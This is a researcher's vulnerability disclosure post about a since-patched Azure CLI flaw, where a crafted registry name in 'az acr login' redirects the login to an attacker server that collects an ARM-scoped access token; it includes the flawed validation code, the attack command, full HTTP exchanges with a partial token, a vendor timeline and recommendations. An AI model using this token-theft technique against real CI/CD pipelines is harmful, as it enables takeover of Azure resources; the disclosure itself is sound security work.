Azure CLI Token Leak

Posted by Christian August Holm Hansen on November 20, 2024 · 7 mins read

Azure CLI was vulnerable to a registry server confusion attack in it’s Azure Container Registry (ACR) module. If an attacker controls the value of the registry name, they can leak the token of the principal, scoped to the ARM API at https://management.azure.com/, effectively giving access to all Azure resources that the principal has access to.

This was fixed in version azure-cli-2.54.0 in November 2023, so most users and CI/CDs have long since been updated past this.

The bug

In a test I was performing at the time, I had access to trigger a GitHub Workflow. The inputs to the Workflow were limited, but I knew that it was connected to a privileged Service Principal in Entra ID through Federated Identity Credentials, so I was keen on finding a bug in it. It did control an input for the ACR name in the following command:

az acr login $ACR_NAME

Azure CLI is open source, which made things a whole lot easier as I didn’t have to guess what attack surface existed in the az acr login command. I quickly spotted a flaw in the following code snippet, meant to validate the registry name input:

def validate_registry_name(cmd, namespace):
    """Omit login server endpoint suffix."""
    registry = namespace.registry_name
    suffixes = cmd.cli_ctx.cloud.suffixes
    # Some clouds do not define 'acr_login_server_endpoint' (e.g. AzureGermanCloud)
    if registry and hasattr(suffixes, 'acr_login_server_endpoint'):
        acr_suffix = suffixes.acr_login_server_endpoint
        pos = registry.find(acr_suffix)
        if pos > 0:
            logger.warning("The login server endpoint suffix '%s' is automatically omitted.", acr_suffix)
            namespace.registry_name = registry[:pos]

Can you spot the bug? No proper URL validation library is used, and it simply appends .azurecr.io to all ACR names that doesn’t include it already. If I run the command az acr login myserver.binsec.no?, I would get a request to my server:

GET /?.azurecr.io/v2/ HTTP/2
Host: myserver.binsec.no
User-Agent: python-requests/2.31.0
Connection: keep-alive


This was not very valuable in itself, so I tried to pretend that my server was an Azure Container Registry. The following HTTP requests were sent back and forth (note the realm attribute in the response from my server):

GET /?.azurecr.io/v2/ HTTP/2
Host: myserver.binsec.no
User-Agent: python-requests/2.31.0
Connection: keep-alive

HTTP/2 401 Unauthorized
Date: Wed, 01 Nov 2023 14:35:38 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 149
Access-Control-Expose-Headers: Docker-Content-Digest,WWW-Authenticate,Link,X-Ms-Correlation-Request-Id
Docker-Distribution-Api-Version: registry/2.0
Strict-Transport-Security: max-age=31536000; includeSubDomains
Strict-Transport-Security: max-age=31536000; includeSubDomains
Www-Authenticate: Bearer realm="https://utt2pq.binsec.cloud/oauth2/exchange",service="utt2pq.binsec.cloud"
X-Content-Type-Options: nosniff
X-Ms-Correlation-Request-Id: d25cdb6e-aa79-49f5-b58a-627aa9d0d3a8
X-Do-App-Origin: f4b5e032-f841-498d-b400-0c31dd64b7e8
Cache-Control: private
X-Do-Orig-Status: 401
Cf-Cache-Status: MISS
Set-Cookie: __cf_bm=yuvXFWN1szdXFKzVLQT3jpL.VTXjxO2.oMNztldlT0E-1698849338-0-AeXmp5Iur4Dy6nrr+qyvijQbxlHt6f5luKfJEjntAMoOmzGMuM8aoMIJilLc+TlozSgn7X3fO8pmDYX+pyjbKHk=; path=/; expires=Wed, 01-Nov-23 15:05:38 GMT; domain=.mhs.binsec.cloud; HttpOnly; Secure; SameSite=None
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 81f4dd88d9ab5684-OSL

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required, visit https://aka.ms/acr/authorization for more information.","detail":null}]}

POST /oauth2/exchange HTTP/1.1
Host: utt2pq.binsec.cloud
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2197

grant_type=access_token&service=utt2pq.binsec.cloud&tenant=72f13b38-6d4b-417c-be51-4e46f66a37a8&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjlHbW55RlBraGMzaE91UjIybXZTdmduTG83WSIsImtpZCI6IjlHbW55RlBraGMzaE91UjIybXZTdmduTG83WSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC83MmYxM2IzOC02ZDRiLTQxN2MtYmU1MS00ZTQ2ZjY2YTM3YTgvIiwiaWF0IjoxNjk4OTA4ODg4LCJuYmYiOjE2OTg5MDg4ODgsImV4cCI6MTY5ODkxMzM4OCwiYWNyIjoiMSIsImFpbyI6IkFWUUFxLzhVQUFBQTd0MzhwU2liUFgyZXgra29DL0tGR0tzditkTE9IbGhJRGNpQVNZcTVTdWVtMXlET1I3Q1pBTWdDY0tXVEI5V1U2MEFMVkdqejNxeDRacm9KSTkwMUZXL1lPNyt2bDlrU2x5L0xsWHplMUo0PSIsImFtciI6WyJwd2QiLCJtZmEiXSwiYXBwaWQiOiIwNGIwNzc5NS04ZGRiLTQ2MWEtYmJlZS0wMmY5ZTFiZjdiNDYiLCJhcHBpZGFjciI6IjAiLCJmYW1pbHlfbmFtZSI6IkhhbnNlbiIsImdpdmVuX25hbWUiOiJDaHJpc3RpYW4gQXVndXN0IEhvbG0iLCJncm91cHMiOlsiNjEwNzAwMTQtYjU0Mi00OWQyLTlhOTQtYThjNjU4NzU2YjNmIiwiOTA1NTg2Y2EtYjdkMy00ZGVkLWFkYTktY2Q4NjFjMGZmZGNmIl0sImlkdHlwIjoidXNlciIsImlwYWRkciI6IjYyLjEwMS4yMzEuMTAwIiwibmFtZSI6IkNocmlzdGlhbiBBdWd1c3QgSG9sbSBIYW5zZW4iLCJvaWQiOiIxMWZjZTUwMi1jOTJhLTRjOTYtYjQxZC1hZDMwMjFmMWExZTEiLCJwdWlkIjoiMTAwMzIwMDJGNUYwNDIzQiIsInJoIjoiMC5BYThBT0R2eGNrdHRmRUctVVU1RzltbzNxRVpJZjNrQXV0ZFB1a1Bhd2ZqMk1CT3ZBTUkuIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwic3ViIjoiMURkOWxFNUFxT2hmdDA2RDYzalBvbnRXT21mMjE0RC1kakladmxZQXlFUSIsInRpZCI6IjcyZjEzYjM4LTZkNGItNDE3Yy1iZTUxLTRlNDZmNjZhMzdhOCIsInVuaXF1ZV9uYW1lIjoiY2hyaXN0aWFuLmhhbnNlbkBiaW5zZWMuY2xvdWQiLCJ1cG4iOiJjaHJpc3RpYW4uaGFuc2VuQGJpbnNlYy5jbG91ZCIsInV0aSI6IkgtaXZaUEtiMmtLNXVCUURaVjVoQUEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbIjYyZTkwMzk0LTY5ZjUtNDIzNy05MTkwLTAxMjE3NzE0NWUxMCIsImI3OWZiZjRkLTNlZjktNDY4OS04MTQzLTc2YjE5NGU4NTUwOSJdLCJ4bXNfY2FlIjoiMSIsInhtc19jYyI6WyJDUDEiXSwieG1zX2ZpbHRlcl9pbmRleCI6WyIxNzUiXSwieG1zX3JkIjoiMC40MkxqWUJSaVdzOElBQSIsInhtc19zc20iOiIxIiwieG1zX3RjZHQiOjE2OTQwNzA3Mjh9.<removed>

Great, I now have a token! Even worse, it’s not a token scoped to Azure Container Registry, which you could expect, but the all-powerful https://management.azure.com/. With this, I can do everything that the requesting principal can do, be it a user or a Service Principal, on all Azure Resources that they have access to.

Vendor response

After a long wait for such a simple bug, MSRC finally responded that they had fixed the bug. They marked the severity as medium, stating that it requires user interaction. One exploit scenario certainly does, but I would argue that all applications that use Azure CLI, which is a lot, including Microsoft’s own authentication library (MSAL), has the potential to be vulnerable. Additionally, there’s the added blast radius of CI/CD, which was the reason I found this in the first place.

I responded with my thoughts on the matter, also asking why a CVE had not been reserved. I got a response that they would look into the matter, but never got a response after that.

Timeline

  • November 2, 2023: Initial report
  • November 10, 2023: MSRC asked for video PoC
  • November 14, 2023: Microsoft silently fixes the bug with the release of v.2.54.0
  • February 20, 2024: I ask for an update on a few cases I have open, including this one.
  • Februrary 21, 2024: MSRC responds that the issue was fixed in November and that they assessed it as medium severity (i.e. no bounty), as “the user has to run the command on the Cloud Shell which will send the token”.
  • February 22, 2024: I respond with my thoughts on the matter, that servers and CI/CDs are also affected, also suggesting that this may warrant a CVE or similar disclosure.
  • March 19, 2024: MSRC responds that they will look into the matter. No further update from them.

Video


Recommendations

It is difficult to plan for vendor vulnerabilities, such as in Azure CLI, but it is important to be aware of the potential risks as it contains bugs like any other software. If using Azure CLI on servers or in CI/CD pipelines, which you most likely do if you’re using Azure, keep the actions/packages updated and limit the permissions of the principal as much as possible.

Limiting the permissions of the tokens and principals used is important for those who write software too. If the maintainers of Azure CLI had scoped the token correctly to ACR instead of ARM, this would have had very limited impact.